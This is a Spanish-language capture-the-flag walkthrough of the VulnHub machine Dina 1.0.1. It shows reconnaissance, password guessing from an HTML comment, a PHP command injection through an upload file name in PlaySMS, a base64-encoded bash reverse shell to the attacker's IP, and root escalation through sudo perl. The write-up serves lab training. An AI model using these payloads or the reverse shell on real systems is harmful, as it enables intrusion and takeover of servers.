Descripción

En este post vamos a explotar la máquina Dina 1.0.1, utilizaremos técnicas de reconocimiento, fuerza bruta, una vulnerabilidad que explota un formulario con el cual conseguiremos RCE a través de command injection, y escalada de privilegios a través de sudo.

Reconocimiento

Realizamos un escaneo con nmap en busca de puertos abiertos sobre la máquina víctima, en este caso 192.168.1.63.

1
2
3
4
5
6
7
8
nmap --open -p- -T5 192.168.1.63 -oG Puertos
Nmap scan report for 192.168.1.63
Host is up (0.00026s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds

El único puerto abierto puerto abierto es el 80, en este caso se trata de un servido web. Vamos a lanzarle los scripts de reconocimiento de nmap con -sCV:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cat Objetivos
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: Objetivos
│ Size: 933 B
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ nmap -sCV -O -p 80 -Pn -oN Objetivos 192.168.1.63
2 │ Nmap scan report for 192.168.1.63
3 │ Host is up (0.00020s latency).
4 │ #!/bin/bash
5 │ PORT STATE SERVICE VERSION
6 │ 80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
7 │ |_http-title: Dina
8 │ |_http-server-header: Apache/2.2.22 (Ubuntu)
9 │ | http-robots.txt: 5 disallowed entries
10 │ |_/ange1 /angel1 /nothing /tmp /uploads
11 │ MAC Address: 08:00:27:FC:43:A5 (Oracle VirtualBox virtual NIC)
12 │ Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
13 │ Device type: general purpose
14 │ Running: Linux 2.6.X|3.X
15 │ OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
16 │ OS details: Linux 2.6.32 - 3.5
17 │ Network Distance: 1 hop
18 │

El resultado no muestra nada excesivamente interesante, excepto el archivo robots.txt. Este archivo sugiere al buscador que no indexe las urls encontradas dentro de este archivo txt, pero hay que tener mucho cuidado, ya que al ser un archivo público cualquiera puede consultarlo, vamos a echarle un ojo en ‘http://192.168.1.63/robots.txt‘:

Reconocimineto Web

Robots.Txt

1
2
3
4
5
6
User-agent: *
Disallow: /ange1
Disallow: /angel1
Disallow: /nothing
Disallow: /tmp
Disallow: /uploads

Interesante, vemos distintos directorios los cuales podemos visitar, vamos a ver que encontramos.

Una vez revisados todos los directorios, el único que parece útil es /nothing veamos que contiene:

Pues hasta la propia página nos lo dice, aquí no hay nada, vámonos…
¡No tan rápido!
¿Muy sospechoso no crees?
A ver ese código fuente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head><title>404 NOT FOUND</title></head>
<body>
<!--
#my secret pass
freedom
password
helloworld!
diana
iloveroot
-->
<h1>NOT FOUND</html>
<h3>go back</h3>
</body>
</html>

¡Sorpresa! Teníamos un diccionario escondido en el html en forma de comentario, y pensar que casi nos íbamos con las manos vacías. Vamos a guardar estas credenciales que nos vendrán bien en un futuro.

En pentest reales este tipo de comentarios no te los vas a encontrar, obviamente, pero es verdad que muchas veces puedes encontrar información como la versión del software que se está utilizando o comentarios sobre la lógica de la aplicación que te permitirán entenderla mejor para su posterior explotación, encontrarse contraseñas directamente es extremadamente raro, pero no imposible.

No parece que tengamos más hilo del que tirar, vamos a intentar encontrar más directorios utilizando fuerza bruta, voy a usar WFUZZ para esta tarea.

Wfuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
wfuzz -c --hc 404 -u http://192.168.1.63/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.1.63/FUZZ
Total requests: 220560

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000003: 200 199 L 429 W 3618 Ch "# Copyright 2007 James Fisher"
000000007: 200 199 L 429 W 3618 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000015: 200 199 L 429 W 3618 Ch "index"
000000014: 200 199 L 429 W 3618 Ch "http://192.168.1.63/"
000000012: 200 199 L 429 W 3618 Ch "# on at least 2 different hosts"
000000011: 200 199 L 429 W 3618 Ch "# Priority ordered case-sensitive list, where entries were found"
000000004: 200 199 L 429 W 3618 Ch "#"
000000002: 200 199 L 429 W 3618 Ch "#"
000000009: 200 199 L 429 W 3618 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000008: 200 199 L 429 W 3618 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000006: 200 199 L 429 W 3618 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000010: 200 199 L 429 W 3618 Ch "#"
000000005: 200 199 L 429 W 3618 Ch "# This work is licensed under the Creative Commons"
000000013: 200 199 L 429 W 3618 Ch "#"
000000164: 301 9 L 28 W 314 Ch "uploads"
000000853: 301 9 L 28 W 313 Ch "secure"
000001765: 200 6 L 12 W 102 Ch "robots"
000000001: 200 199 L 429 W 3618 Ch "# directory-list-2.3-medium.txt"
000003237: 301 9 L 28 W 310 Ch "tmp"
000010575: 301 9 L 28 W 314 Ch "nothing"

¿Secure? Veamos si es tan seguro como indica el nombre.

Con que una copia de seguridad eh… vamos a descomprimirla con 7z x backup.zip a ver que encontramos.

1
2
3
4
5
6
7
8
9
10
11
Scanning the drive for archives:
1 file, 336 bytes (1 KiB)

Extracting archive: backup.zip
--
Path = backup.zip
Type = zip
Physical Size = 336


Enter password (will not be echoed):

Fuerza Bruta

Nada, se necesita contraseña, aquí hemos acabado… ¡Espera! Tenemos el diccionario que se encontraba en http://192.168.1.63/nothing/ vamos a probar con la primera contraseña ‘freedom’:

1
2
3
4
5
6
Enter password (will not be echoed):
Everything is Ok

Size: 176
Compressed: 336

¡A la primera! Eso sí que es suerte, veamos que contiene  backup-cred.mp3 un archivo mp3, ¿qué será? Parecen ser más credenciales en formato audio, vamos a escucharlo:

Eso sí que ha sido un buen intento, ha ocultado la extensión del archivo .txt haciéndolo pasar por una pista de audio. Habrá que ver que nos encontramos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: backup-cred.mp3
│ Size: 176 B
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ I am not toooo smart in computer .......dat the resoan i always choose easy password...with creds backup file....
3 │
4 │ uname: touhid
5 │ password: ******
6 │
7 │
8 │ url : /SecreTSMSgatwayLogin
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

¡Tenemos un usuario y un nuevo directorio! La contraseña parece no encontrarse en este archivo. Visitamos http://192.168.1.63/SecreTSMSgatwayLogin/.

Un panel de login, recordamos que tenemos un posible usuario touhid y un diccionario con diferentes credenciales freedom, password, helloworld!, diana, iloveroot. Vamos a probar por fuerza bruta a ver si tenemos suerte.

Diccionario

1
2
3
4
5
6
freedom ERROR
password ERROR
helloworld! ERROR
diana BINGO
iloveroot ERROR

Explotacion De Playsms (FootHold)

La contraseña era diana, dándonos acceso al panel del usuario touhid, una vez aquí podemos estudiar los diferentes vectores de ataque que tiene playSMS, toca googlear. Investigando sobre playSMS encontré diferentes vías de ataque que te daban acceso directo a la máquina con sus respectivos modulos en Metasploit, pero en mi opinión pierde un poco la gracia, por lo que seguí investigando hasta que di con este exploit:

1
2
3
4
5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload | php/webapps/42003.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

Esta vulnerabilidad se resumen en obtener RCE a través de un formulario, el cual nos permite “subir” archivos al servidor, pero el RCE no es el contenido del archivo, ya que no se almacena en el servidor, es el nombre, es decir, poniendo de nombre al archivo <?php system('uname -a'); dia();?>.php se ejecutará el comando en el servidor:

Formulario

Resultado

¡Bum! RCE exitoso. En este momento podemos enviar una reverse shell en el nombre del archivo y tendríamos conexión a la máquina víctima. Voy a utilizar burpsuite para interceptar la petición, modificar el payload y enviarlo al servidor.

Burpsuite

Inyección Reverse Shell

Podríamos pensar que siguiendo este método obtendríamos la shell, pero cualquier comando que utilice / nos da un error, por ello investigando diferentes formas de evitar el uso de / dí con la clave, gracias a NetOsec, enviar el comando en base64 para evitar el uso de los caracteres /.

La sintaxis para transformar una cadena de texto a base64 es: echo -n "cadena" | base64.

La reverse shell en base64 quedaría tal que así: bash -i >& /dev/tcp/192.168.1.84/1234 0>&1 = YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx.

Nos ponemos por escucha en el puerto indicado e inyectamos el comando en base64, le pasamos el párametro -d para decodificarlo a texto plano y lo pipeamos con bash para que el servidor interprete la cadena como bash.

Nos quedará tal que así: echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODQvMTIzNCAwPiYx-n | base64 -d | bash

Escucha Con Netcat

1
2
3
❯ nc -lvnp 1234
listening on [any] 1234 ...

Inyectar Reverse Shell Con Burpsuite

Dejamos pasar la petición con la shell inyectada y….

1
2
3
4
5
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.63] 51716
bash: no job control in this shell
www-data@Dina:/var/www/SecreTSMSgatwayLogin$

Todo un exito, solo nos queda la escalada de privilegios.

Escalada De Privilegios

www-data –> root

Vamos a ver si tenemos algún permiso de super usuario como www-data con sudo -l.

1
2
3
4
5
6
7
8
9
sudo -l
Matching Defaults entries for www-data on this host:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on this host:
(ALL) NOPASSWD: /usr/bin/perl
www-data@Dina:/var/www/SecreTSMSgatwayLogin$

Pues por lo que se ve, esta escalada de privilegios no va a durar mucho… Tiramos de GTFOBins

1
2
3
4
5
6
7
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ whoami
whoami
www-data
www-data@Dina:/var/www/SecreTSMSgatwayLogin$ sudo perl -e 'exec "/bin/sh";'
sudo perl -e 'exec "/bin/sh";'
whoami
root

Se acabó la escalada, esta vez ha sido sencilla y directa.

Flag

Con permisos root nos dirigimos al directorio /root/ y leemos la flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat flag.txt
________ _________
\________\--------___ ___ ____----------/_________/
\_______\----\\\\\\ //_ _ \\ //////-------/________/
\______\----\\|| (( ~|~ ))) ||//------/________/
\_____\---\\ ((\ = / ))) //----/_____/
\____\--\_))) \ _)))---/____/
\__/ ((( (((_/
| -))) - ))


root password is : hello@3210
easy one .....but hard to guess.....
but i think u dont need root password......
u already have root shelll....


CONGO.........
FLAG : 22d0xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Conocimientos Obtenidos

De esta máquina podemos extraer los siguientes conocimientos:

  • Reconocimiento con nmap.
  • Reconocimiento de directorios web utilizado WFUZZ.
  • Explotación de un formulario de subida el cual no sanitiza correctamente el nombre de archivo consiguiendo RCE.
  • Uso de Burpsuite para modificar las peticiones.
  • Escalada de privilegios a través de permisos excesivos como sudo.

Créditos Y Descarga

El autor de esta máquina es Touhid Shaikh, muchas gracias por la creación de Dina 1.0.1 aportando a la comunidad. Twitter, WEB

Podéis descargar la máquina desde aquí VulnHub

Vulnhub Es una fantastica plataforma donde CUALQUIERA puede subir sus propios CTFs, por lo tanto conlleva un riesgo. Antes de utilizar cualquier máquina os recomiendo investigar al creador y montar un entorno aislado donde se minimicen los riesgos en el caso de que la máquina puediese ser maliciosa.